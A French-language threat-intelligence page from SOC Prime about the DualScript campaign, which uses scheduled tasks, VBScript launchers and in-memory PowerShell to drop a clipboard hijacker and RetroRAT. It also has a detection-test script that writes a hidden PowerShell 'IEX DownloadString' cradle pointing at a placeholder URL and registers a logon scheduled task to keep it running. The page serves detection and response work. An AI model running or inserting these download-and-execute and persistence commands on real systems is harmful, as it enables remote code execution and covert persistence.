SOC Prime Bias: Critique

31 Mar 2026 15:28

Opération DualScript : Malware PowerShell Multi-Étapes Ciblant la Crypto et la Finance

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Opération DualScript : Malware PowerShell Multi-Étapes Ciblant la Crypto et la Finance
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit l’Opération DualScript, une campagne de logiciels malveillants en plusieurs étapes qui repose sur la persistance via des tâches planifiées, des lanceurs VBScript et des chargeurs PowerShell pour déployer à la fois un pirate de presse-papiers et le cheval de Troie d’accès à distance RetroRAT. Les attaquants stockent du PowerShell malveillant sur des serveurs externes et l’exécutent entièrement en mémoire pour réduire les opportunités de détection. RetroRAT enregistre les frappes, surveille les fenêtres actives pour les mots clés liés aux finances et envoie les données volées via un canal TCP C2 personnalisé. La campagne cible les activités liées aux crypto-monnaies et les banques américaines.

Enquête

Les analystes ont découvert des tâches planifiées configurées pour lancer des fichiers VBScript à partir de chemins accessibles en écriture par l’utilisateur, qui exécutaient ensuite PowerShell caché avec la contournement de stratégie d’exécution activée. Deux chaînes de livraison parallèles ont été identifiées : l’une récupérait un script Wallet.txt pour détourner le contenu du presse-papiers de crypto-monnaie, tandis que l’autre chargeait RetroRAT directement en mémoire. L’analyse statique a également révélé une logique anti-analyse, la création de mutex, un enregistreur de frappe multi-thread et une chaîne de poignée de main C2 codée en dur.

Atténuation

Les défenseurs doivent surveiller les tâches planifiées suspectes qui invoquent VBScript ou PowerShell avec des fenêtres cachées et des arguments de contournement. La détection des points d’extrémité doit se concentrer sur l’exécution PowerShell en mémoire, le comportement inhabituel de surveillance du presse-papiers et la création de mutex inconnus. Les organisations doivent également bloquer le trafic sortant vers les domaines malveillants et appliquer des contrôles stricts d’exécution pour PowerShell et VBScript.

Réponse

Si cette activité est détectée, isolez l’hôte affecté, désactivez les tâches planifiées malveillantes et supprimez tout artefact VBScript ou PowerShell persistant. Effectuez une analyse médico-légale complète pour le payload RetroRAT, les données de frappe capturées et le trafic C2 associé. Réinitialisez les informations exposées du portefeuille de crypto-monnaie et changez les identifiants bancaires. Restaurez les systèmes affectés à partir de sauvegardes propres et bloquez les domaines et adresses IP identifiés au niveau du réseau.

"graph TB %% Class definitions classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Nodes – Techniques tech_persistence["<b>Technique</b> – <b>T1053 Scheduled Task/Job</b><br/><b>Description</b>: Crée une tâche planifiée Windows qui exécute un lanceur VBScript en mode caché pour la persistance."] class tech_persistence technique tech_execution["<b>Technique</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Exécute du code PowerShell via un contournement de politique d’exécution et l’exécute directement en mémoire."] class tech_execution technique tech_defense["<b>Technique</b> – <b>T1497.002 Évasion de Sandbox de virtualisation</b><br/><b>Description</b>: Vérifie les noms d’utilisateur sandbox et les artefacts VM ; abandonne si un tel environnement est détecté."] class tech_defense technique tech_download["<b>Technique</b> – <b>T1102 Service Web</b><br/><b>Description</b>: Récupère un payload distant (Wallet.txt) via HTTPS et le convertit en ScriptBlock pour une exécution en mémoire."] class tech_download technique tech_clipboard["<b>Technique</b> – <b>T1115 Données du presse-papiers</b> et <b>T1204.004 Copier et coller malveillant</b><br/><b>Description</b>: Surveille le presse-papiers du système et remplace les adresses de crypto-monnaie légitimes par des portefeuilles contrôlés par l’attaquant."] class tech_clipboard technique tech_keylog["<b>Technique</b> – <b>T1056.001 Enregistrement de frappes</b><br/><b>Description</b>: Installe un hook clavier de bas niveau pour capturer les frappes pendant les sessions financières."] class tech_keylog technique tech_screen["<b>Technique</b> – <b>T1113 Capture d’écran</b><br/><b>Description</b>: Enregistre des captures d’écran ou diffuse le bureau pour la surveillance visuelle de l’activité de la victime."] class tech_screen technique tech_c2["<b>Technique</b> – <b>T1041 Exfiltration via canal C2</b><br/><b>Description</b>: Envoie les frappes, les données du presse-papiers et les journaux récoltés à un serveur C2 codé en dur utilisant un client TCP."] class tech_c2 technique tech_process["<b>Technique</b> – <b>T1543 Créer ou modifier un processus système</b><br/><b>Description</b>: La tâche planifiée génère un nouveau processus pour le payload PowerShell et crée ensuite des threads supplémentaires pour des fonctions parallèles."] class tech_process technique tech_rdp["<b>Technique</b> – <b>T1219.002 Logiciel de bureau à distance</b><br/><b>Description</b>: Permet à l’attaquant de visualiser ou de contrôler le bureau de la victime via le composant RetroRAT."] class tech_rdp technique tech_inputinj["<b>Technique</b> – <b>T1674 Injection d’entrée</b><br/><b>Description</b>: Injecte des chaînes de portefeuilles contrôlées par l’attaquant dans le presse-papiers avant que la victime colle le contenu."] class tech_inputinj technique %% Nodes – Artifacts file_vbscript["<b>Fichier</b> – <b>Nom</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>But</b>: Lance le payload PowerShell en mode caché."] class file_vbscript file malware_retro["<b>Logiciel malveillant</b> – <b>Nom</b>: RetroRAT<br/><b>Fonction</b>: Fournit des capacités de bureau à distance et d’exécution de commandes."] class malware_retro malware %% Connections – Flow tech_persistence –>|crée| file_vbscript file_vbscript –>|lance| tech_execution tech_execution –>|utilise| tech_download tech_download –>|fournit le payload à| tech_process tech_process –>|génère| tech_keylog tech_process –>|génère| tech_screen tech_process –>|génère| tech_clipboard tech_clipboard –>|active| tech_inputinj tech_keylog –>|exfiltrer via| tech_c2 tech_screen –>|exfiltrer via| tech_c2 tech_clipboard –>|exfiltrer via| tech_c2 tech_process –>|démarre| tech_rdp tech_rdp –>|communique avec| tech_c2 tech_rdp –>|exécute| malware_retro tech_defense –>|vérifie avant| file_vbscript "

Flux d’attaque

Exécution de la simulation

Prérequis : La vérification pré-vol de la télémétrie et de la base de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif d’attaque & Commandes :
    L’attaquant met d’abord en place un VBScript (dual.vbs) dans le répertoire de profil de l’utilisateur. Le but du script est de lancer PowerShell avec les drapeaux -WindowStyle Hidden and -ExecutionPolicy Bypass, puis de télécharger et d’exécuter un payload distant (simulé avec un simple Write-Host). Pour obtenir la persistance, l’attaquant enregistre une tâche planifiée (DualScriptPersist) qui exécute le VBScript à la connexion. Chaque étape produit les deux entrées EventID 4104 corrélées que la règle recherche.

  • Script de test de régression :

    # -------------------------------------------------
    # Simulation d'attaque DualScript – PowerShell
    # -------------------------------------------------
    # 1️⃣ Crée un VBScript malveillant dans un chemin accessible en écriture par l'utilisateur
    $vbsPath = "$env:USERPROFILEdual.vbs"
    $payloadUrl = "http://example.com/payload.ps1"   # URL de substitution
    $vbsContent = @"
    WScript.Sleep 500
    Dim sh
    Set sh = CreateObject("WScript.Shell")
    sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
    "@
    $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
    
    # 2️⃣ Enregistrez une tâche planifiée qui exécute le VBScript à chaque connexion utilisateur
    $taskName = "DualScriptPersist"
    $taskAction = "`"$vbsPath`""
    schtasks.exe /Create `
        /SC ONLOGON `
        /RL HIGHEST `
        /TN $taskName `
        /TR $taskAction `
        /F
    
    # 3️⃣ Forcez la tâche à s'exécuter immédiatement (déclenchement de la détection)
    schtasks.exe /Run /TN $taskName
    
    Write-Host "`n[+] Simulation DualScript exécutée. Vérifiez vos alertes SIEM."
    # -------------------------------------------------
  • Commandes de nettoyage :

    # -------------------------------------------------
    # Nettoyage de la simulation DualScript
    # -------------------------------------------------
    $taskName = "DualScriptPersist"
    $vbsPath  = "$env:USERPROFILEdual.vbs"
    
    # Supprimez la tâche planifiée
    schtasks.exe /Delete /TN $taskName /F
    
    # Supprimez le fichier VBScript
    Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
    
    Write-Host "`n[+] Nettoyage terminé."
    # -------------------------------------------------